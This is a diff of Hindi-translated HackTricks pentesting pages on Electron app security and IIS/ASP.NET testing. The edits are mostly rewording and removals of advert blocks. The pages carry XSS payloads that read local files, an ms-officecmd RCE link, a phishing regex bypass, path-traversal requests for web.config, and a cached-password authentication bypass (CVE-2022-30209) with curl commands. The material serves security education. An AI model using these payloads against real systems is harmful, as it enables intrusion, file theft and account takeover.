* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से बंद है। यह NodeJS द्वारा किए जा सकने वाले कार्यों को प्रतिबंधित करेगा।
|
||||
* Node Integration in Workers
|
||||
* **`nodeIntegrationInSubframes`**- डिफ़ॉल्ट रूप से `off` है।
|
||||
* यदि **`nodeIntegration`** **सक्षम** है, तो यह Electron एप्लिकेशन के भीतर **ifram में लोड किए गए** वेब पृष्ठों में **Node.js APIs** के उपयोग की अनुमति देगा।
|
||||
* यदि **`nodeIntegration`** **अक्षम** है, तो प्रीलोड ifram में लोड होंगे।
|
||||
|
||||
Configuration का उदाहरण:
|
||||
Example of configuration:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: 'Discord',
|
||||
|
@ -175,11 +162,11 @@ runCalc();
|
|||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
_**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग-अलग संदर्भों को पेश करता है** ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए एक आवश्यक विशेषता है।
|
||||
_**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग-अलग संदर्भों** को पेश करता है ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए एक आवश्यक विशेषता है।
|
||||
|
||||
यदि संदर्भ अलग नहीं हैं, तो एक हमलावर कर सकता है:
|
||||
|
||||
1. **renderer में मनमाना JavaScript निष्पादित करें** (XSS या बाहरी साइटों पर नेविगेशन)
|
||||
1. **renderer में मनमाना JavaScript निष्पादित करें** (XSS या बाहरी साइटों पर नेविगेट करना)
|
||||
2. **बिल्ट-इन विधि को ओवरराइट करें** जो प्रीलोड या Electron आंतरिक कोड में उपयोग की जाती है अपने फ़ंक्शन के लिए
|
||||
3. **ओवरराइट की गई फ़ंक्शन** का उपयोग करने के लिए **ट्रिगर करें**
|
||||
4. RCE?
|
||||
|
@ -200,7 +187,7 @@ _**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट
|
|||
|
||||
### क्लिक इवेंट बायपास करें
|
||||
|
||||
यदि आप एक लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय मध्य क्लिक करके** उन्हें बायपास कर सकते हैं।
|
||||
यदि आप एक लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय मध्य क्लिक** करके उन्हें बायपास कर सकते हैं।
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
|
@ -210,7 +197,7 @@ window.addEventListener('click', (e) => {
|
|||
|
||||
जब एक Electron डेस्कटॉप एप्लिकेशन को तैनात किया जाता है, तो `nodeIntegration` और `contextIsolation` के लिए सही सेटिंग्स सुनिश्चित करना महत्वपूर्ण है। यह स्थापित किया गया है कि **क्लाइंट-साइड रिमोट कोड निष्पादन (RCE)** जो प्रीलोड स्क्रिप्ट या मुख्य प्रक्रिया से Electron के मूल कोड को लक्षित करता है, इन सेटिंग्स के साथ प्रभावी रूप से रोका जाता है।
|
||||
|
||||
जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नए विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
|
||||
जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नई विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
|
@ -245,7 +232,7 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu
|
|||
|
||||
![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg (1).png>)
|
||||
|
||||
इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने के लिए एप्लिकेशन का लाभ उठाने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है:
|
||||
इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने और एप्लिकेशन का लाभ उठाने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है:
|
||||
```html
|
||||
<br><BR><BR><BR>
|
||||
<h1>pwn<br>
|
||||
|
@ -256,19 +243,19 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
|
|||
```
|
||||
## **RCE: XSS + पुराना Chromium**
|
||||
|
||||
यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना संभव हो सकता है।**\
|
||||
यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना** संभव हो सकता है।\
|
||||
आप इस **writeup** में एक उदाहरण देख सकते हैं: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **आंतरिक URL regex बाईपास के माध्यम से XSS फ़िशिंग**
|
||||
## **आंतरिक URL regex बायपास के माध्यम से XSS फ़िशिंग**
|
||||
|
||||
मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फ़िशिंग के माध्यम से क्रेडेंशियल्स चुराने के लिए उपयोग करने की कोशिश कर सकते हैं।**
|
||||
मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फ़िशिंग के माध्यम से क्रेडेंशियल्स चुराने** के लिए उपयोग करने की कोशिश कर सकते हैं।
|
||||
|
||||
सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड की जांच करते समय क्या होता है:
|
||||
सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड में क्या होता है:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`** को कॉल करने से यह तय होगा कि **link** **desktop window** में **खुला** जाएगा क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।
|
||||
**`openInternally`** को कॉल करने से यह तय होगा कि **link** **desktop window** में **खुली** जाएगी क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।
|
||||
|
||||
यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है **एक नई विंडो खोलने के लिए जो** हमलावर के बुनियादी ढांचे में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए:
|
||||
```html
|
||||
|
@ -310,7 +297,7 @@ cd vulnerable1
|
|||
npm install
|
||||
npm start
|
||||
```
|
||||
## **References**
|
||||
## **संदर्भ**
|
||||
|
||||
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
|
@ -320,18 +307,6 @@ npm start
|
|||
* Electron सुरक्षा के बारे में अधिक शोध और लेख [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -340,9 +315,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,26 +9,12 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
परीक्षण निष्पादन योग्य फ़ाइल एक्सटेंशन:
|
||||
|
||||
* asp
|
||||
|
@ -38,7 +24,7 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार
|
|||
|
||||
## आंतरिक IP पता लीक
|
||||
|
||||
किसी भी IIS सर्वर पर जहां आपको 302 मिलता है, आप होस्ट हेडर को स्ट्रिप करने और HTTP/1.0 का उपयोग करने की कोशिश कर सकते हैं और प्रतिक्रिया के अंदर स्थान हेडर आपको आंतरिक IP पते की ओर इंगित कर सकता है:
|
||||
किसी भी IIS सर्वर पर जहाँ आपको 302 मिलता है, आप होस्ट हेडर को हटाने और HTTP/1.0 का उपयोग करने की कोशिश कर सकते हैं और प्रतिक्रिया के अंदर स्थान हेडर आपको आंतरिक IP पते की ओर इंगित कर सकता है:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
|
@ -84,9 +70,9 @@ X-FEServer: NHEXCHANGE2016
|
|||
पूर्ण लेखन की जांच करें: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है **कि निष्पादन योग्य फ़ाइलें कहाँ स्थित हैं** और उन्हें डाउनलोड करें।\
|
||||
**डाउनलोड की गई Dlls** से यह भी संभव है **नए namespaces** को खोजने के लिए जहाँ आपको पहुँचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\
|
||||
इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** में दिलचस्प जानकारी हो सकती है।\\
|
||||
संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है कि **executables कहाँ स्थित हैं** और उन्हें डाउनलोड करें।\
|
||||
**डाउनलोड की गई Dlls** से यह भी संभव है कि **नए namespaces** खोजें जहाँ आपको पहुँचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\
|
||||
इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं।\\
|
||||
{% endhint %}
|
||||
|
||||
**.Net MVC अनुप्रयोगों** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से।
|
||||
|
@ -101,20 +87,20 @@ Host: example-mvc-application.minded
|
|||
यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे:
|
||||
|
||||
* **EntityFramework** संस्करण
|
||||
* **AppSettings** वेबपेज, क्लाइंट सत्यापन, और JavaScript के लिए
|
||||
* **AppSettings** वेबपेज, क्लाइंट मान्यता, और JavaScript के लिए
|
||||
* **System.web** प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन
|
||||
* **System.webServer** मॉड्यूल सेटिंग्स
|
||||
* **Runtime** असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc**
|
||||
|
||||
ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, एप्लिकेशन के /bin फ़ोल्डर के भीतर स्थित हैं।
|
||||
ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं।
|
||||
|
||||
### **रूट डायरेक्टरी फ़ाइलें**
|
||||
|
||||
रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
|
||||
रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
|
||||
|
||||
### **Namespaces और Web.Config**
|
||||
|
||||
MVC एप्लिकेशन विशिष्ट नामस्थान के लिए अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:
|
||||
MVC अनुप्रयोग अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं विशिष्ट namespaces के लिए ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
|
@ -128,7 +114,7 @@ Host: example-mvc-application.minded
|
|||
```
|
||||
यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे **System.Web.Mvc.dll** और **System.Web.Optimization.dll**, /bin निर्देशिका में।
|
||||
|
||||
एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के अस्तित्व का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति का संकेत देता है।
|
||||
एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के अस्तित्व का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है।
|
||||
|
||||
### सामान्य फ़ाइलें
|
||||
|
||||
|
@ -213,10 +199,10 @@ C:\xampp\tomcat\conf\server.xml
|
|||
|
||||
यदि आप निम्नलिखित त्रुटि देखते हैं:
|
||||
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
इसका मतलब है कि सर्वर ने **Host header** के अंदर सही डोमेन नाम **नहीं प्राप्त किया**।\
|
||||
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts** को **brute force** करने की आवश्यकता हो सकती है।
|
||||
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts को ब्रूट फोर्स** करने की आवश्यकता हो सकती है।
|
||||
|
||||
## Old IIS vulnerabilities worth looking for
|
||||
|
||||
|
@ -225,7 +211,7 @@ C:\xampp\tomcat\conf\server.xml
|
|||
आप इस **technique** का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर **फोल्डर्स और फ़ाइलों को सूचीबद्ध** करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।\
|
||||
यदि सर्वर कमजोर है, तो इस तकनीक की मुख्य सीमा यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकता है**।
|
||||
|
||||
आप इस कमजोरी के लिए परीक्षण करने के लिए [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) का उपयोग कर सकते हैं:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
आप इस कमजोरी के लिए [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) का उपयोग कर सकते हैं:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
![](<../../.gitbook/assets/image (844).png>)
|
||||
|
||||
|
@ -245,7 +231,7 @@ ASP.NET में एक डिबगिंग मोड शामिल है
|
|||
|
||||
यह एक निश्चित समय अवधि में एक एप्लिकेशन के लिए किए गए सभी अनुरोधों का बहुत विस्तृत लॉग रखता है।
|
||||
|
||||
इस जानकारी में दूरस्थ क्लाइंट IP, सत्र आईडी, सभी अनुरोध और प्रतिक्रिया कुकीज़, भौतिक पथ, स्रोत कोड की जानकारी, और संभावित रूप से उपयोगकर्ता नाम और पासवर्ड भी शामिल हैं।
|
||||
इस जानकारी में दूरस्थ क्लाइंट IP, सत्र आईडी, सभी अनुरोध और प्रतिक्रिया कुकीज़, भौतिक पथ, स्रोत कोड की जानकारी, और संभावित रूप से उपयोगकर्ता नाम और पासवर्ड भी शामिल होते हैं।
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||
|
@ -257,15 +243,15 @@ ASPXAUTH निम्नलिखित जानकारी का उपय
|
|||
|
||||
* **`validationKey`** (string): हस्ताक्षर सत्यापन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी।
|
||||
* **`decryptionMethod`** (string): (डिफ़ॉल्ट “AES”)।
|
||||
* **`decryptionIV`** (string): हेक्स-कोडित प्रारंभिक वेक्टर (डिफ़ॉल्ट रूप से शून्य का वेक्टर)।
|
||||
* **`decryptionIV`** (string): हेक्स-कोडित प्रारंभिक वेक्टर (शून्य के वेक्टर पर डिफ़ॉल्ट)।
|
||||
* **`decryptionKey`** (string): डिक्रिप्शन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी।
|
||||
|
||||
हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **हमले के तहत सर्वर पर उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं**, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का **प्रतिरूपण** कर सकते हैं।\
|
||||
हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **हमले के तहत सर्वर पर उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं** जिसे आप अनुकरण करना चाहते हैं, तो आप **पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग कर सकते हैं** और उपयोगकर्ता का अनुकरण कर सकते हैं।\
|
||||
यह हमला इस [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) में काम किया।
|
||||
|
||||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[पूर्ण रिपोर्ट यहाँ](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **कैश** में है, उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।
|
||||
[पूर्ण रिपोर्ट यहाँ](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी पर हिट करता है** जो पहले से ही **कैश** में है, उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** से प्रेरित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **चुराने वाले मालवेयर** द्वारा **समझौता** किए गए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
